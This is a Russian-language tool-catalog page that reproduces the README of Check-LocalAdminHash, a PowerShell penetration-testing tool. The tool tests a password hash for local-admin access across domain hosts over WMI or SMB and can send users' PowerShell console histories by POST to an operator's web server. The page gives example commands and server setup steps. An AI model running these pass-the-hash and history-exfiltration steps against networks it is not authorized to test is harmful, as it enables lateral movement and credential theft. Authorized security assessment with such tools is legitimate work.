Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Check-LocalAdminHash — Check-LocalAdminHash — это PowerShell-инструмент, который пытается выполнить аутентификацию на нескольких хостах через WMI или SMB, используя хеш пароля, чтобы определить, является ли предоставленные учётные данные локальным администратором. Он полезен, если вы получили хеш пароля пользователя и хотите узнать, где он является локальным администратором в сети. По сути, это Франкенштейн из двух моих любимых инструментов с добавлением собственного кода. Для проверки учётных данных используется проект Invoke-TheHash Кевина Робертсона (@kevin_robertson). Кроме того, скрипт использует модули из PowerView от Уилла Шрёдера (@harmj0y) и Мэтта Гребера (@mattifestation) для перечисления компьютеров домена и поиска целей для проверки прав администратора. | Kitploit
Инструменты/GitHubGitHub/dafthack/check-localadminhash
Повышение привилегийАтаки на ПаролиЛатеральное перемещениеСбор информацииТестирование на Проникновение
GitHubdafthack/check-localadminhash

Check-LocalAdminHash

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

178347 лет назадПроверено Kitploit

Check-LocalAdminHash — это PowerShell-инструмент, который пытается выполнить аутентификацию на нескольких хостах через WMI или SMB, используя хеш пароля, чтобы определить, является ли предоставленные учётные данные локальным администратором. Он полезен, если вы получили хеш пароля пользователя и хотите узнать, где он является локальным администратором в сети. По сути, это Франкенштейн из двух моих любимых инструментов с добавлением собственного кода. Для проверки учётных данных используется проект Invoke-TheHash Кевина Робертсона (@kevin_robertson). Кроме того, скрипт использует модули из PowerView от Уилла Шрёдера (@harmj0y) и Мэтта Гребера (@mattifestation) для перечисления компьютеров домена и поиска целей для проверки прав администратора.

Поделиться

Check-LocalAdminHash

Check-LocalAdminHash — это инструмент PowerShell, который пытается аутентифицироваться на нескольких хостах через WMI или SMB, используя хэш пароля, чтобы определить, является ли предоставленная учетная запись локальным администратором. Это полезно, если вы получили хэш пароля пользователя и хотите узнать, где он является локальным администратором в сети. По сути, это Франкенштейн из двух моих любимых инструментов и немного моего собственного кода. Для проверки учетных данных используется проект Invoke-TheHash Кевина Робертсона (@kevin_robertson). Кроме того, скрипт использует модули из PowerView от Уилла Шрёдера (@harmj0y) и Мэтта Грэбера (@mattifestation) для перебора компьютеров домена и поиска целей для проверки прав администратора.

alt text

Этот скрипт появился потому, что во время оценки я хотел собрать все файлы истории консоли PowerShell (PSReadline) со всех систем в сети. История консоли PSReadline — это, по сути, аналог bash history для PowerShell. В ней может быть множество интересных вещей, которые люди вводят в терминалы, включая пароли. Поэтому в этот скрипт включена опция экспорта всех файлов PSReadline. Для этого требуется небольшая настройка. См. конец Readme.

Для получения дополнительной информации читайте блог здесь: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/

Примеры

Проверка локального администраторского хэша на всех хостах через WMI

Эта команда использует домен 'testdomain.local' для поиска всех систем, а затем пытается аутентифицироваться на каждой из них, используя пользователя 'testdomain.local\PossibleAdminUser' и хэш пароля через WMI.

root@kitploit:~
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

Экспорт всех файлов истории консоли PSReadline

Эта команда использует домен 'testdomain.local' для поиска всех систем, а затем пытается аутентифицироваться на каждой из них, используя пользователя 'testdomain.local\PossibleAdminUser' и хэш пароля через WMI. Затем она пытается найти файлы истории консоли PowerShell (PSReadline) для каждого профиля во всех системах и отправляет их POST-запросом на веб-сервер. См. настройку сервера в конце Readme.

root@kitploit:~
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

Использование CIDR-диапазона

Эта команда использует указанный CIDR-диапазон для формирования списка целей, а затем пытается аутентифицироваться на каждой из них, используя локального пользователя 'PossibleAdminUser' и хэш пароля через WMI.

root@kitploit:~
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24

Использование списка целей и SMB с выводом в файл

Эта команда использует предоставленный список целей и пытается аутентифицироваться на каждом хосте, используя локального пользователя 'PossibleAdminUser' и хэш пароля через SMB.

root@kitploit:~
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt

Одиночная цель

Эта команда пытается выполнить локальную аутентификацию для пользователя Administrator на системе 192.168.0.16 через SMB.

root@kitploit:~
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB

Параметры Check-LocalAdminHash

root@kitploit:~
Username - Имя пользователя для попытки аутентификации.
PasswordHash - Хэш пароля пользователя.
TargetSystem - Одно имя хоста или IP для попытки аутентификации.
TargetList - Список хостов для сканирования по одному на строку.
AllSystems - Переключатель, который при включении использует модули PowerView для перечисления всех систем домена. Этот список затем используется для проверки доступа локального администратора.
Domain - Домен, который PowerView будет использовать для обнаружения систем.
UserDomain - Домен пользователя для аутентификации на каждой системе. Не используйте этот флаг, если применяете локальные учетные данные вместо доменных.
Protocol - Настройка для проверки хэша через WMI или SMB. По умолчанию 'WMI', но установите 'SMB', чтобы проверять через него.
CIDR - Укажите сетевой диапазон в формате CIDR, например 192.168.0.0/24.
Threads - По умолчанию 5 потоков. (Я сталкивался с некоторыми странными проблемами при установке более 15 потоков, когда некоторые результаты не возвращались.)
ExfilPSReadline - Для каждой системы, где аутентификация прошла успешно, запускается команда PowerShell для поиска файлов истории консоли PSReadLine (история команд PowerShell), а затем POST-запросом отправляет их на веб-сервер. Смотрите Readme для настройки сервера.

Настройка экспорта PSReadline

Это ваше предупреждение: вы собираетесь настроить сервер, доступный из интернета, который будет принимать загрузку файлов. Обычно это очень плохая идея. Так что обязательно примите меры предосторожности. Я рекомендую заблокировать правила брандмауэра, чтобы только IP-адрес, который будет загружать файлы PSReadline, мог обращаться к веб-серверу. Кроме того, если уж мы заговорили о безопасности, это отлично работает с HTTPS, поэтому настройте домен и сертификат, чтобы файлы PSReadline передавались зашифрованными по сети. Вы предупреждены...

  • Настройте сервер там, куда вы хотите отправлять файлы. Этот сервер должен быть доступен по HTTP/HTTPS с каждой системы.

  • Скопируйте скрипт index.php из этого репозитория и поместите его в /index.php в корневой каталог веб-сервера (/var/www/html).

  • Создайте каталог uploads

mkdir /var/www/html/uploads

  • Измените права доступа к этому каталогу

chmod 0777 /var/www/html/uploads

  • Убедитесь, что php установлен

apt-get install php

  • Перезапустите Apache

service apache2 restart

  • В самом скрипте Check-LocalAdminHash.ps1 прокрутите вниз до функции "Gen-EncodedUploadScript" и измените переменную "$Url" сразу под "$UnencodedCommand". Укажите ее на страницу index.php вашего веб-сервера. Я еще не разобрался, как передать переменную UploadUrl в тот раздел кода, который в итоге кодируется и выполняется на целевых системах, так что пока жестко пропишите ее.

Теперь при запуске Check-LocalAdminHash с флагом -ExfilPSReadline он должен попытаться отправить POST-запросом каждый файл PSReadline (если таковые имеются) на ваш веб-сервер.

alt text

Благодарности

Check-LocalAdminHash — это, по сути, Франкенштейн из двух моих любимых инструментов, PowerView и Invoke-TheHash. 95% кода взято из этих двух инструментов. Так что благодарность Кевину Робертсону (@kevin_robertson) за Invoke-TheHash, а также Уиллу Шрёдеру (@harmj0y), Мэтту Грэберу (@mattifestation) (и всем, кто работал над PowerView). Без этих двух инструментов этот скрипт не существовал бы. Также отдельное спасибо Стиву Борошу (@424f424f) за помощь с многопоточностью и за то, что он просто замечательный парень.

Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash

PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1

Скачать инструмент